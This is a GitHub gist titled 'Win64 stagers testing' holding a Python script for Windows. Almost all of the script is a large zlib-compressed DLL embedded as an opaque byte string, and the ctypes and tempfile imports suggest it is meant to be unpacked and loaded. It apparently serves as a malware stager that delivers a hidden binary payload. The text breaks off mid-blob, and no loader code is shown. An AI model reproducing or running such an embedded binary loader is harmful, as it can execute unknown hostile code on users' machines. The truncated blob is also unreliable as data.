Skip to content

Instantly share code, notes, and snippets.

@santaklouse
Last active June 21, 2026 04:51
Show Gist options
  • Select an option

  • Save santaklouse/b0cd38ef346622db4b563ebf51d803d4 to your computer and use it in GitHub Desktop.

Select an option

Save santaklouse/b0cd38ef346622db4b563ebf51d803d4 to your computer and use it in GitHub Desktop.
Win64 stagers testing
import ctypes
import sys
import struct
import zlib
import tempfile
import os
if sys.platform != "win32":
print("[-] This script works only on Windows")
sys.exit(1)
# ====================== EMBEDDED COMPRESSED DLL ======================
COMPRESSED_DLL = b'\x78\xda\xed\x3c\x0f\x5c\x94\x55\xb6\x77\x06\x06\x06\x04\x3f\x4c\x28\x6a\x2d\x47\x1d\x0b\xf2\xdf\x60\xb9\x41\x69\xcb\xe8\x60\x1f\x3a\xda\x28\x60\x6a\x26\x0c\xf0\x8d\xb0\x3b\xc0\x30\x7c\xa3\x98\x58\xe8\x80\x3a\xfb\x45\x8d\xd5\xb6\xbd\xfd\x17\xe1\x73\xab\xfd\xf3\x9e\xfd\xf9\x99\xf5\x76\xdf\x0e\xa0\x82\xba\xed\x43\xb2\xf2\xdf\xbe\xc8\xdc\x1c\x24\x7b\x94\xad\x92\x56\xf3\xce\xb9\xdf\x1d\x98\x19\x40\xd1\xb6\x57\xfb\xe2\xfb\xfd\x0e\xe7\xde\xf3\xdd\x7b\xee\xb9\xe7\xde\x7b\xee\xb9\xdf\xb9\xc3\x82\xe5\x6e\x12\x46\x08\x09\x07\xf0\xf9\x08\xd9\x45\xe4\x27\x9d\x5c\xfe\xa9\x06\x18\x39\xf6\xf5\x91\xe4\x95\xa8\x37\xc6\xed\x52\x18\xdf\x18\x97\x5d\x54\x5c\xa1\xb1\xd9\xcb\x56\xd9\xcd\x25\x9a\x02\x73\x69\x69\x99\xa8\xc9\x17\x34\x76\x47\xa9\xa6\xb8\x54\x63\xb8\x37\x4b\x53\x52\x56\x28\x4c\x8d\x8d\x8d\xd6\x32\x1e\xa6\x0c\x42\x0a\x37\x45\x93\xd7\x4a\xee\xf8\xa1\x9f\x6f\x37\x99\x3a\x7e\x84\x52\x39\x95\x8c\x81\x8c\x11\x40\x49\x48\xdc\x35\x80\xe3\xf0\x6d\xd6\xa7\x4a\xc2\xd2\x4a\x59\x6e\x7c\x54\x44\xe9\xaf\x4c\x89\x96\xbd\xf8\x3a\x4f\x41\x88\x46\xa6\xc7\xf9\xb9\xc7\x85\xe4\x59\x72\x07\x21\x17\xa1\x34\xf1\x10\xa2\x8d\x08\xee\x64\x8f\x22\x20\xdf\x21\x8b\x34\xd8\x53\x6f\x23\x24\x69\x00\xfa\xae\x46\xa0\x2b\x06\xaf\x37\x55\x14\x2a\x45\xc0\x9a\xef\x31\x81\xc6\x90\xbe\xce\xb1\x07\x7a\x92\x37\xb5\xd0\x2c\x9a\x51\xdc\x14\xf8\xa3\x03\x98\x4e\x7a\xbb\x48\xfa\xc6\xce\x33\xd5\x2e\x17\x4c\xc5\xbe\x80\x4c\x44\x0d\xb0\xb8\x5f\xb9\xf4\xa9\x36\xb9\x1c\xed\x63\xb5\xac\x53\xb2\x7c\x80\x72\x95\x72\xb9\x4a\x2c\xe7\x66\xe5\x56\x0c\x50\x2e\xbf\xa2\x02\xd3\x3a\x2c\x57\x3f\xe8\xbc\xf1\x4c\x15\x64\x7e\x54\xe7\x3b\x18\xbf\x95\x03\xf0\x2b\x96\xcb\xd1\x31\xf1\xb0\x7e\xe4\x0d\x50\x4e\xb4\x56\xf4\x8e\x65\x1b\xe3\x57\x34\x90\x5e\x04\x6b\x59\x01\x1b\xc3\x0e\x56\xee\x87\xfd\xca\xcd\x26\xdf\x91\x27\xe7\xbe\x25\x59\xbc\xf3\xc3\x54\xde\x65\xd4\xe6\x19\x5d\x06\xad\xad\xb6\x9d\xab\x7d\x0a\xde\x48\xaa\x9e\xc7\x08\xa9\xf5\x70\x8f\x5a\x61\x8c\x9c\x5e\x85\x4b\x75\x0a\x08\x02\x2f\x85\x4f\xc4\x89\xc7\x4b\x36\x35\x2f\xdd\xf8\xf3\x7c\x4c\x4e\xd9\xfd\x22\x21\x5d\xd7\x58\xdc\x7c\xda\xdb\x5c\xcd\x1a\xa8\xf0\x9a\x17\xcc\x8a\xef\xad\x14\x4f\x37\xcf\xbd\x78\x1b\xef\x6a\xe2\x6b\x3d\x8e\xf7\x78\x69\xc6\x83\x50\xc1\x79\xb7\x92\xab\x7d\x08\x4a\xf1\x75\xb1\x0f\x02\x53\xde\x95\xad\x4d\xf2\xba\xaf\x47\x56\x90\x6a\xa1\x0b\x90\xdf\x3c\xda\xe2\xfe\x4f\x9c\x1f\xae\x6e\xde\xb9\x3b\xf5\xfe\x95\xb9\x0f\x34\x3b\x2f\x28\x1c\x5d\xa1\x32\x5c\x27\xcb\x90\x8e\x32\x5c\x6b\xe1\xc6\x1a\x20\x9b\xb6\x97\xab\x79\x97\x84\xca\xe1\x38\x95\x72\x86\x97\x66\x9d\x83\x19\x25\x45\x42\xdf\x6a\x3f\x83\x22\x2d\x91\xd8\x88\xf7\xd9\x58\x2a\xcf\xe9\x47\x21\x9d\x00\xa2\xb8\xf6\x82\xc4\x65\xbc\x94\xa0\xa6\xec\x63\x3f\x86\x4a\xde\x98\xeb\x51\x27\x0e\x1b\x90\x0f\x9a\x29\xf9\x75\x24\x9f\x49\x84\x3f\x9e\x68\xe4\x85\x13\xaa\xf6\x0c\x57\xf3\x13\x2a\x9f\x6a\x3e\x2d\x45\xa0\xf7\xe2\x28\xa3\x04\xfa\xe5\x25\xd0\xf4\xeb\x58\xca\xd7\xe6\x54\x3d\x01\xad\x29\x3a\xaf\xf5\xf9\x7c\xb2\xdc\xb5\x67\xc4\x31\x29\xe7\x02\x3a\xcc\x8d\xc5\x55\x89\x1c\x6b\xff\xfe\xa5\xcf\x97\xe2\xe1\x37\x87\xa5\x9c\xeb\xfa\x2b\xa3\xff\x11\x45\xef\x4c\xee\xad\x0f\xda\xb8\x1e\x5a\x74\xde\xa5\x74\x8c\x83\xce\xdc\x88\x9d\x49\x05\xe1\x5a\xd0\xc8\x93\xce\xdf\xfb\x59\x74\x9a\xa1\xca\x6b\x63\xb1\xdf\xfb\xae\x83\x15\xcd\x8d\xad\x09\x99\x0f\x7f\x71\xbd\x69\x74\xed\x01\x7d\x8b\xf3\x41\x63\xff\x0a\x6b\xce\x75\x1d\xce\x8d\xdf\xd0\xb9\x71\xbc\x8e\x90\x8c\x94\x7d\xb5\x9e\x87\xae\x4b\x69\xf7\x6e\x82\x55\x99\xe9\xf2\xba\x8e\xf2\xae\x8f\xbd\x2f\x7c\xe1\xf3\xe9\x5d\x8d\x06\x57\x6b\x4b\x24\x34\xe2\x0b\xe8\x4a\x3a\x6a\x24\x33\x0f\xc5\x9c\xb5\x18\x50\x0b\x6d\x53\xd6\x7f\x6f\xfd\x62\xb9\x3e\x28\xec\x0f\xbd\xb4\x89\xd0\x00\xd0\x9c\x17\x15\x8e\xe7\x40\xfd\xdb\xe0\x45\x4a\x3b\xbc\x30\xc0\xb4\x9d\xec\x8d\x94\x9b\xa7\x14\xef\xad\x50\xdd\x00\x3a\x9e\xdc\xf9\x20\x34\xee\xbc\xa0\x14\xb7\x7b\x3f\x88\x64\xd5\xc3\xb8\xda\x42\xa0\x76\xde\x0b\x7f\x64\x7d\xb9\xf6\x83\x9a\xce\x3d\x02\xba\x49\x43\x3d\x40\x26\x0a\x15\x75\x92\x16\x48\x27\xcd\xee\xe0\xc7\x32\xd5\xaf\x29\xa6\x6f\xe7\x87\x49\x16\xee\x7f\xda\x33\x5d\x07\xb8\xe4\x78\x2d\x97\x9c\xad\x8d\x03\x2d\xd5\x7c\x01\x25\xb8\x9d\x8a\x2d\xe1\xda\x2d\x06\x6d\x64\x63\x47\x18\xa0\x58\x54\xe6\x9d\x7a\x57\xfb\x2e\x45\x5f\x7d\x57\xa3\x9e\xdb\x19\x1f\xe6\x7c\x6f\xac\x2e\x3e\xa6\x8e\x8f\x84\x04\xc1\x44\x2c\xef\xf4\x28\x1a\x4f\xb0\x17\xc6\xb4\x36\xc7\x21\x6e\x67\xb8\x96\xdb\x99\xad\x1d\xab\x68\xb3\x70\x65\x47\x01\x4e\xe8\xb7\x00\x87\x0e\x48\xc1\xcc\xcd\xd6\x6a\xa0\x4e\x1c\x64\x5a\x2d\x5c\xd1\x6e\x0b\x97\xf7\x67\x48\x77\x5a\x38\xf3\x7e\x0b\x57\x7c\xda\xc2\x7d\xf9\x06\xe4\xbd\x90\x6f\x62\xf9\x3d\x00\x50\xf6\xcb\x23\x3c\xb0\x7f\x1d\x5e\x36\x5b\xb8\x8a\xc3\x6a\xa0\x1c\xf6\x67\xc2\xe5\xcc\x43\x47\x00\x8e\xf2\xc5\xfb\x26\x66\x3e\xae\x75\xb5\xf1\x8d\x9d\x9a\xe4\xd6\x83\x5e\x45\x6b\xa3\x57\x59\x17\xb3\x07\xf5\x91\xdc\x98\xbc\xdf\xd9\xa4\xd0\xbb\x46\xc1\x80\x27\x35\xa7\xb4\xa7\x78\x3a\xb3\xa8\x16\x89\xa5\x4f\x6b\x38\xb7\x50\x0d\x91\x38\x2b\x9a\xc1\x5e\xb4\x18\xb4\x74\xbf\xc4\xf2\xbd\xaa\xed\x2b\x0f\x83\xe6\x51\xa4\x1c\x74\x36\x5d\xc7\x2b\x8c\xda\xa4\x59\x64\x46\x0c\x71\x9c\xf6\x25\xc4\xff\x1e\xe7\x9f\x07\x86\x2b\x5a\x85\x5a\x6c\x42\x7e\xbc\x6f\xe2\xed\x40\x77\x07\xd4\xa7\xb3\x39\x09\x8a\x8d\xbe\x1f\x16\x5c\xc2\x99\xdf\x61\xe1\x66\x5c\x8d\x59\x60\x8b\x3e\xc0\x6c\x5d\x82\xe2\x7e\x3a\x10\xbe\xb7\x21\x1d\x4b\xd3\x47\x78\x97\x6a\x9c\x04\x35\x90\xc4\xf5\x92\x22\xfc\xa4\xd1\xbd\xa4\xae\x1f\x53\x92\x4b\x75\xf4\xc7\xd8\xbb\xdd\x49\xf7\xaf\x6c\x0e\x68\x5f\x7f\x9f\x7e\x89\x3e\x47\x9f\xed\x5f\x57\xfa\xd7\x70\x53\xd7\xef\xc2\xbd\x9b\x2f\x28\x9e\xc9\x2b\xde\xe0\x5d\x4f\x6a\xb7\xd0\x05\xf0\xe7\x94\x7d\x52\x8e\xc9\x97\xb0\xb9\x57\x4a\xae\xc6\x08\x96\xc2\x20\x65\x64\x1b\x5d\x27\x40\x44\xef\xef\xe2\x41\x3d\xce\xf5\x11\x44\x5c\xc6\xbd\x9a\x11\x9f\xe2\xe3\xeb\x44\x55\x62\xd7\x44\x4b\x60\xa7\x03\x92\xce\x16\x05\xef\xdc\x9b\x64\xb9\x6b\x7d\x44\xc5\x2d\x06\x69\x6e\x5c\x06\x74\xfd\xb4\xb4\x30\x46\x5a\x12\xcf\xde\xf1\x8a\x23\x46\xc5\x09\xef\x62\xe4\x0c\xc5\xec\x47\xa4\x9f\xbc\x82\x16\x07\x66\xf1\x56\x82\x8d\xd7\xe1\xfe\x9c\xa9\x38\xa2\x97\xf4\xe1\x50\xfb\x61\xbd\xeb\x98\x61\xd2\x03\x3a\x3a\x7f\xf5\xae\xa6\xcc\xba\xc5\x3d\xfc\xc1\xd3\xb5\xed\xe2\x72\xe7\x69\x45\x66\x9d\x5e\xbd\xa0\xce\xb0\x28\x9a\xbe\x1e\x58\xa8\x80\x24\xf7\x6a\x9c\xeb\xa0\xa5\xb1\x33\xc6\xe2\xfc\x2c\xda\x11\xa7\x97\xa2\x36\x9c\xf0\x71\xd0\x7d\xc5\x7e\xa3\x62\xcc\x68\x98\xd0\xca\xcc\x34\x8f\xe3\xf0\x02\xc5\x41\xb9\x79\x47\x9d\x54\xfb\x24\xa1\x1b\x53\xcd\x2f\xa8\x78\xdb\xdd\x54\xbc\xe3\x7a\x58\xf4\x31\xb5\xfb\xb8\x9a\x5a\x74\x1b\xa5\x19\xe3\x7e\x4b\xed\x8c\x12\x50\xc0\xfc\x83\x6e\xe0\x70\xed\xa5\xca\xfd\x6f\xa0\x64\x48\x33\xb5\x99\x8a\x77\x33\xa5\xeb\x78\xe8\xc2\x0f\x32\xc0\x46\xc7\x2d\xac\x9b\x1c\xd6\x35\x9e\xda\xab\xba\xec\xd1\x4a\x30\x2b\xbe\x77\x32\x9d\x2d\xea\x4c\x57\x06\xc9\x74\xee\x51\xb3\xc2\xd7\xc0\x9f\xb5\x7f\xe5\x5e\x6d\xa7\x05\xd0\x26\x13\x14\x42\x93\xe9\xdc\x1d\x5f\xbb\xcf\xf1\x84\x3c\x50\xf7\xe3\x40\x19\xa5\x89\x8d\xbf\xc1\x29\x7b\xee\x4f\xe8\x5a\xd3\x51\x43\xfe\xd2\x5c\x2d\x0c\x86\xb1\x0e\xec\x95\xab\x69\xc3\x09\x74\xe6\x60\x79\x48\x4b\xd4\x19\xd7\x7b\xf4\xce\x8e\x13\x7a\xa7\x47\x53\xeb\x31\x70\x7c\x0b\x4a\xee\xdc\x4b\x47\x4c\xef\x3b\x64\x31\xdc\xe5\x88\xb0\x37\xf2\x52\x0d\x9d\x3b\xbc\x2b\x91\x1a\x15\xbf\xad\xd5\xaf\xd0\x3f\xa0\x5f\xa9\xcf\x6d\x86\x99\x56\x8d\x8b\x0b\x26\xab\x2f\xe1\x0e\x90\x20\xc5\xd3\x75\x34\x78\x3d\x26\xe2\x1a\x54\xd3\x4d\x66\x9f\xa8\xc5\x75\x18\x38\x7f\x5d\x1e\x58\x80\xfa\x94\x36\x58\x81\x46\x05\x94\x4b\x6b\x74\x74\x41\x2b\x89\xcd\x6c\xbf\x6a\x17\x63\x3a\xcf\x5f\xc0\x65\x4e\xf7\x23\xfd\x5e\xf2\x8c\xbe\x45\x01\x6b\x92\x50\x7b\x4f\x67\x7d\x11\x97\x2c\x6a\x75\x5c\x72\x95\x36\xdd\xc0\x25\x1b\xb4\x26\xde\x75\xc0\xf5\xb6\x11\xf7\x88\xfd\x19\x38\x62\x37\x83\xec\x54\x07\xc6\x3a\x83\x76\x92\xf7\x39\xe0\x57\x7b\x8e\xab\x39\x87\x5b\x0d\x50\xeb\xe6\xfa\x0c\xdc\x4e\xa3\x76\x92\xf3\xbd\x48\x67\xcf\x48\x6e\x93\x1a\xca\xbb\xf6\xeb\x5d\xdd\x16\x3d\x57\xda\xc9\xbb\x0e\x9f\x3f\xaa\x6f\xf4\x82\xad\xca\x3b\x63\xe1\x56\x1f\xcb\x70\x81\x85\x33\x9f\xb1\x18\xb8\xd2\x46\xbd\xeb\xcd\xcc\xc6\x13\xe1\x7a\xe7\xfb\x91\x16\xce\x76\x06\x26\xca\x51\x4b\x26\x57\x7a\x11\x8c\xf6\x49\x0b\x57\xfe\xa6\x3a\xd8\x3e\x9d\x45\x53\x4a\xad\xe8\xff\xec\x09\xb1\xa4\xd8\xd8\xc7\xdd\x16\xee\x60\x0b\x64\x0e\x62\x06\xcc\xf0\xc1\xff\xb2\x70\xc7\xce\x02\x80\x3e\x8e\xbd\x09\x70\xc0\xc2\xad\x7a\x1b\x00\x6a\x76\x1d\xe4\x46\x99\xba\xd1\x74\xbf\xa0\x6f\xec\x08\x37\xa4\xed\x15\x6f\x31\xb8\x3c\xbc\xe2\xb0\x3e\xd9\xc3\xf4\xc5\xed\x8c\x43\x43\x6f\x48\xd9\xdf\xde\xb4\xc5\xe4\xd3\xd7\xc5\x93\xb4\x4f\xec\x9d\x5c\x12\x2a\x2c\x89\x2a\x2c\x09\x15\xe6\xdc\x5d\x84\x86\xc5\xbd\x17\xf4\xf3\x0c\x8c\xd7\x64\xd4\x70\xe7\x3b\xb0\x9d\x83\x15\xec\x7a\xc1\x12\x64\xef\x78\xb0\x77\x05\xd7\x12\xb2\x57\x35\x73\x13\xb8\x17\x38\xbe\xa9\x74\xb0\x61\x8f\x48\xf5\x16\x5f\x04\xed\x7a\x1c\xb0\xc1\xec\xe6\x91\x27\xf3\x1b\x8c\xda\x54\x30\x6c\xf3\x97\xa0\x99\xfc\xcb\x73\x84\x7a\x2c\xc7\x79\x18\x14\x1d\x54\x47\x67\x0b\xfc\x15\xb0\x4f\x09\xd1\x73\x61\x94\xa9\x15\x83\x55\x24\x1b\x32\x5f\xc2\x5b\xcf\x51\x0b\xca\x4c\xeb\x76\x83\xa4\x7a\x3f\x83\x9a\xd6\xcf\x01\x79\xcf\x73\xb8\x4e\x81\x53\x26\x38\x36\xae\x23\x52\xc2\x5e\xa4\xbe\x07\x1b\x35\x0e\xfa\xed\x94\xf4\x72\x06\x9a\x45\x5c\x1b\xbe\x84\x9f\x3e\x47\x9d\x8b\x4c\xd7\x61\x98\xb8\xbd\x1b\xc4\x3e\x48\xd1\x93\x8e\x2f\xe1\xcb\x5f\xe3\x56\x2d\xcb\xdf\x6f\x7f\x49\xc4\xfd\x85\xf3\x2f\x87\xc4\x66\xb9\x7f\xfe\x39\x1e\x32\xbf\x83\xf7\x17\xf5\xac\xea\x1b\x22\x60\x7f\xe9\xab\xec\xbe\xcc\x43\x77\x17\x49\x95\x30\xb7\xd7\xcb\xbb\x35\xc8\x14\xfb\xda\xe0\xed\x79\xaa\x0b\x13\xb8\xaa\xe9\x6a\xde\x95\xe0\xcd\xa0\xda\x75\xbc\x4f\x37\xca\x60\xf9\xd9\x7e\x25\x25\xbc\xb9\x04\x39\x2a\x41\xbe\x1e\x9f\x98\x06\x2b\x53\xe3\x6a\x75\x76\x2a\xf8\xba\x31\x4d\x7c\x72\x2b\xd8\x8f\xa6\x1e\x5c\x5f\x3e\x30\x91\x5d\x6a\x3e\xed\xac\xe3\xef\x30\xe8\xa5\xb2\xbb\x05\x7b\x50\xe7\x84\xf3\x74\xeb\xc5\x4d\x35\x90\xbf\xa1\x2e\x5d\xe1\x6a\x34\xba\x3c\xf3\x9c\x33\x9b\x88\xa3\xbb\x6b\x7b\xf0\x7b\x49\x75\x67\x0d\x1a\x57\x31\x42\xd6\x5b\x8b\xea\x66\xc8\x53\x27\x13\x3d\x46\xb7\xf3\x42\x98\x38\x02\x16\x7d\x24\x9b\x37\x9d\x07\x22\xc9\x40\xf2\xab\xc2\x40\x7e\x67\xaa\x52\x8c\x68\xa1\x47\x2c\xf4\xc3\x46\xe3\xc0\x2c\x64\x7b\x24\x9b\xff\x7c\xdd\x8d\x2f\x2c\x43\x34\xa3\x01\x51\xda\x59\xf1\xdd\x20\xfd\xf1\x52\x18\x2a\x55\x09\x7a\x74\x36\xd3\x7e\x9e\xf1\x6f\xb2\xcc\xff\xa2\xbd\xcd\x00\x29\x68\x3e\xc5\x13\x3c\x64\x7e\x6f\xf6\x00\x0f\x96\x65\xe9\x6b\x28\x0a\x9e\x72\xe0\xa8\x63\xd4\x16\xe1\xb1\x63\x29\x0f\xd9\x24\x6f\x38\x75\xfe\x13\xde\xc8\xa2\xf3\xd8\x9b\x13\x83\x4d\x8b\xda\x24\x5a\xc3\xfb\x01\x66\x5d\x47\xe9\xf4\x6d\xf4\xf6\x8c\x00\xd2\xe8\x58\x74\x34\xdc\xf2\xb6\x6e\x92\x66\xdc\xe3\xc4\x22\x07\xc0\x6c\x3d\x9a\xa8\xa0\x9e\x7f\x9a\x93\xce\x62\x58\xde\x89\x7d\xfd\x31\x4a\xc4\x98\xd6\x6c\x1f\xcd\x4b\x26\xb5\xb4\x58\x9d\xa9\x68\x83\x2c\xb7\xf1\xc7\x68\x3a\x9d\x8d\x60\xdd\x3d\x49\xfa\xb4\x8f\x1d\x87\x61\x4d\x78\x77\xa8\x91\x65\x0b\xdd\xa9\x3e\x90\x4f\x13\x7f\xdb\x88\x62\x8e\xd9\xc9\x37\xbe\x1f\x06\x76\x84\x77\x55\x6a\x64\x1f\xda\xbb\x0d\xdc\x56\xe9\xbe\x18\xfd\x2e\x7a\x2e\xaa\x8b\x89\x83\xd2\xaf\x6e\x24\xcc\x2f\x74\x19\x13\x13\x7d\x09\xf7\xfc\x2b\x9d\x78\x5c\xcd\x7a\x1c\x69\x83\xd6\x50\x67\xfa\xdc\x79\xe2\xa2\xa8\xae\x33\x79\x9c\x27\xfe\xe4\xb8\xc6\xa9\x7a\x78\x23\x1a\x0c\xe7\x6e\x13\xec\x22\x38\x35\x9d\x3d\x4a\x34\x0d\x1a\x3c\x97\xa5\xca\xeb\x73\x17\xae\x7d\x03\x67\xf0\xf0\x61\x37\xe6\x60\x0b\xae\xf9\xb0\x31\x82\x2f\x94\x15\xe7\x4b\x38\xbe\x8d\x9e\x8f\x76\xfa\x12\x1e\xdc\x46\x8f\x53\x67\x17\xc3\x22\x6b\xf2\x8a\x5f\xca\xfe\x74\xca\xb9\xce\x71\x38\x49\x25\xd5\x0d\x1b\x51\x60\x35\x14\x79\x7a\x31\xea\xc5\x90\x98\xe8\x5d\x08\xa5\x40\xcf\x40\x2b\x04\x9a\xf7\x07\x90\x75\x07\xcf\xcf\x1c\xd9\x9d\x92\xd5\x9e\xce\xd7\x59\xb5\xe9\xd2\x8c\x96\x0d\xd0\xe8\x39\x71\x34\xef\xfa\x10\xc4\x96\xf7\xbe\x07\xfc\xf3\xf7\xd7\x1b\xe4\xf9\xeb\x7d\x0f\xe6\x08\xff\x34\x5f\x17\x5e\x0d\xb0\x87\xa3\x2b\xbc\xa3\xdb\x7b\x3a\x0a\x5b\x9f\xe2\xcc\xa2\x87\xa7\x47\x10\x25\xef\x6e\x51\x55\x6c\x90\x0f\xc8\x38\x6f\x74\xe0\xde\xfd\x68\x03\xce\x1c\x2f\x9f\x7c\x98\x77\xf6\x44\x3e\xf4\x24\xfc\x1d\xc1\x3d\x56\x02\x9c\xa5\xd1\x78\x2c\xc2\x0f\x23\xd2\x9c\x70\x3c\x53\x52\x62\x96\x1a\x66\x3b\x57\xfb\xae\x12\x9b\x69\x8e\x01\x47\x64\x14\xb0\x36\xa6\x75\xd9\xd7\x76\x66\xfb\x7a\xf7\x4b\xe7\x05\x35\x57\xf3\x18\x1e\xb0\x2f\xc4\x71\xb5\xbf\x84\xd2\x7a\xee\xd5\x08\x0b\xb0\x71\xa5\x60\xd5\x58\xfc\x2c\x07\x0b\xde\xa8\x68\xe5\x5d\x19\x3d\xfc\x2c\x52\x0d\x75\x1f\x99\x84\xef\x66\xe1\x07\x3b\xee\xb1\xb1\x4a\x94\xec\x63\x63\x9d\xd0\xe3\x2d\xc1\xb3\xd3\x2e\x79\x96\x9f\x00\xa2\xb7\x2a\x5a\x6e\x1f\x1a\xae\x28\x90\x46\x18\xa4\x8a\x70\x6e\x67\x96\x9a\x57\x7c\x96\xa9\xf8\xd2\x28\x45\x39\x2f\x68\xb8\x9a\x55\xd0\x3e\xb7\xa9\x9c\x1e\x97\xd2\xb9\xda\xeb\xa0\x7e\xa6\x14\x81\x0c\xa9\xe8\xd0\x3a\xb0\x97\x05\xf0\x8e\xa0\x2d\xa8\xfb\x5a\xb8\x21\x5a\xee\x56\x03\xd5\xb7\xa4\xba\xbb\x5a\xfe\x6a\x50\x86\x63\x29\xcd\x3a\xf0\x2c\x2c\xca\x63\x96\xbe\xf5\xac\x1a\x57\x8d\x6e\xd8\x61\x83\x44\xd0\x17\x8d\x85\x95\x00\x73\x95\x57\x2f\x70\xbd\xe7\x7b\x87\x3a\x38\xcd\x49\x77\xcd\xe8\x79\x98\x90\xaa\xf6\xd0\x01\x4d\x87\x6d\x64\x04\x78\x0c\x8e\x58\x03\xe8\x3a\x03\xa7\xf2\x12\x05\x6d\x9e\x73\xfa\x70\x3b\x91\x66\xfc\x76\x11\xba\x12\x42\x0f\xd3\xaf\xb4\x2e\x1c\x2c\x08\x98\x0e\x7d\x58\xf8\xdd\xf3\xea\x62\xee\xc0\x3e\xdc\xf3\x39\xf6\x21\x5c\xee\x03\x12\xbd\x39\x51\x72\x27\xda\x3a\xef\x92\x8f\x2c\x70\x28\x8b\xa8\x81\x41\xf8\x90\xd0\x41\xf0\x05\x0d\x82\xb3\xa7\x9a\x7b\xe4\x79\x42\x87\x00\xf7\xf0\xc7\x7e\x41\xfa\x86\xe0\xf4\x45\x64\xae\xe8\x53\xd0\x67\xa0\xac\xce\x4a\x36\xff\xf5\x52\x04\x8e\x2d\xba\xa8\x99\xaf\xd3\x0d\x02\x1e\x63\x54\x9b\xcc\xfd\x35\x7a\x5e\xc6\x26\xd2\x5a\x1f\x9e\x07\x83\x4d\x48\x75\xd5\x6c\x3f\x67\xf7\xc5\x00\xb1\x91\xf3\x33\xc8\xf9\x26\xe0\x1c\x60\x2f\x43\xa7\x4a\xdd\x5b\x5f\x20\x4b\xd8\x3a\x17\x80\xf5\x82\xf5\x78\x2f\xda\xb3\x0b\xbd\xdf\x0b\x68\xf9\xae\x4d\xc1\xf5\x3b\x13\x40\x0e\x69\xbe\x1a\x7c\xb3\xda\xe9\x58\x1f\xa6\x41\x67\x3c\x26\xea\x62\x37\xde\x8b\xbb\x69\x46\x0f\xb5\x3a\xbf\xbc\x40\x69\xdf\x47\xa6\x5b\x21\xdd\xef\x7c\xcc\xce\x3d\x78\x02\x5b\xf4\x10\x6e\xdd\x59\xcf\xd0\x75\xa6\x7d\x08\x4d\xd1\x31\x51\xc7\x4b\x53\xdc\x94\x34\x2b\x13\x90\x5b\x1a\xe1\x7b\x0b\xfc\x0a\xdf\x3b\x3c\x2c\xe8\x68\xb0\x24\x11\xe8\x5b\xc3\x84\x95\xee\x8f\x83\xf2\x8e\x77\x81\x91\xfa\x21\xbf\xdd\xcf\x7d\x00\x8e\x7c\x29\xcf\xd0\xc6\xfa\xce\x97\x92\xea\x2f\xeb\xd1\x73\xdd\x07\xd5\x39\xf9\x9c\xd9\xa7\x1f\x30\xf9\xfc\x6b\x38\x3a\xaf\x27\xa2\x19\x83\x6d\x20\xdd\xbb\x2a\x52\x76\x77\x16\xa2\x93\x92\x8e\x5f\x69\x78\xba\x2b\x40\x5b\xbf\x58\x8f\x85\xd4\x46\x57\xba\x1a\xfc\x92\x5f\xa1\xa0\xf8\x42\x4a\x28\x58\x4f\xcd\x5b\x15\x22\x17\xcc\x60\x97\x6a\xd1\x7a\xec\xdf\xb6\x5f\xe1\x26\x44\x5b\xdd\x85\xa3\xd9\xb9\xce\x17\x34\x3e\xa0\x0b\x49\x35\x75\x3d\xb5\x92\xd1\xb4\x20\x75\x01\x40\x0e\x1d\xb0\x9b\x42\x79\x4c\xa3\xed\xc4\x12\xe4\x0d\x3b\xff\x4c\xb0\xbd\x3a\x74\xf3\x6e\x64\x93\x3a\xc0\x1e\x66\xba\x5a\x51\xf2\xeb\x61\x5f\x4a\x1b\xc5\x4b\xfa\x38\xc7\x99\x05\x90\xd7\x64\xba\xd2\xe3\xbc\x3f\x8d\xa0\x32\x1e\xae\x42\xa6\xd1\x7e\xc1\x68\x7b\x20\xef\xb3\x40\xee\x3a\x86\x93\xb2\xdf\xf9\x5c\xc9\xd5\xc0\xa9\x89\xac\x49\x86\x9d\x7e\x96\x14\xfb\x70\x15\x9e\x0d\xb8\x9a\x3f\xe1\xc7\x1a\x55\x49\x95\x6c\x50\x7b\x0f\x1c\x74\x9f\xb8\x10\xe6\xf8\x48\x52\xe5\x54\x51\xe7\xe1\xa4\x37\x1c\x66\x65\xd7\x5f\x2d\x6e\x29\x61\x36\x92\xda\x1d\xab\x9d\xb3\xee\xc0\x8a\x8e\x56\x30\x01\x37\x57\xc9\x0a\x1f\xe3\x46\xa7\x51\x4a\x8f\x93\x37\xe1\x53\x2a\xbf\x7e\x41\x39\x7f\x03\xc9\x6f\xc2\x72\x2d\xaa\xb3\xeb\x64\x5b\xdc\xa2\xfa\x98\xa5\x7c\x09\x61\xbf\x84\xb9\xbf\xb6\xf7\xbb\x97\x37\x2b\x48\xa2\xde\xf9\xe0\x5d\x07\xb3\xb6\xcb\xd9\x37\x3f\xea\x62\xf7\xad\xc3\xfa\x67\x61\xcd\x76\x4e\x43\x97\xe6\x92\xcf\xb1\xf7\x83\xfd\x09\xcb\x86\xb4\x05\xcb\x61\x56\x15\xe8\xe1\xe8\xde\xb8\x21\x0d\xe3\x17\x22\x8c\xa3\xdf\x9f\x01\xe7\x72\xc3\xda\xc4\x11\x4a\xee\x49\x8f\xfc\xbd\x8b\x16\x6c\xe5\x5e\xe5\xc1\xa8\xef\x13\x67\x19\xb8\x57\xd3\xe3\xa9\x1f\x17\xe3\x9a\x57\x67\x20\x89\xe0\x01\xb7\x26\x05\xf8\x67\x52\x7a\x0c\x1c\x8c\x8c\x69\x4d\x76\x75\x18\x0f\x0e\xcf\x7e\xfb\x08\x74\x0a\x8c\x69\xad\x8e\xf7\xa1\x99\xde\xf5\xe4\xfa\x2f\x6f\x7a\x38\xf6\xb6\x47\xbd\x66\x24\xa8\xf4\x65\x23\xcc\x8b\x0d\xa9\x0b\x96\x8b\xf1\x29\xc7\xe0\x44\xe4\x5f\x20\x7e\x3f\xa9\xa0\x08\xe4\xd8\xb3\x61\x3d\x8d\xb8\x38\x8e\x5b\x36\xac\x07\x29\x1d\x87\xe4\x23\xea\x1b\xf4\x5b\xc2\x39\xbe\x6e\x05\x9e\x4a\x03\xe7\x83\x6c\xea\x79\xd7\x05\x74\x48\xde\x09\xa3\xa3\xfb\x2c\x94\x8e\x60\x96\x3a\x6d\xaf\xfd\x78\xd7\xa3\x81\xfe\x9a\x2a\xd9\x2f\x09\xaa\xc9\x04\xad\x36\x6d\xb8\x93\xaa\x29\x0c\xe4\xb7\x6c\x78\x10\xdb\xfd\x3b\xe8\x61\x76\x84\x85\x7e\x8c\xe0\x93\x1b\x21\x13\x0f\x1b\xad\x32\x51\x5f\x67\x02\x7b\x12\xff\x38\x68\xa5\x2d\x49\xb6\xf7\xa8\x8f\x26\x63\x5a\x23\xe8\x03\x3c\xe8\xb4\x83\xf6\xff\x08\xd0\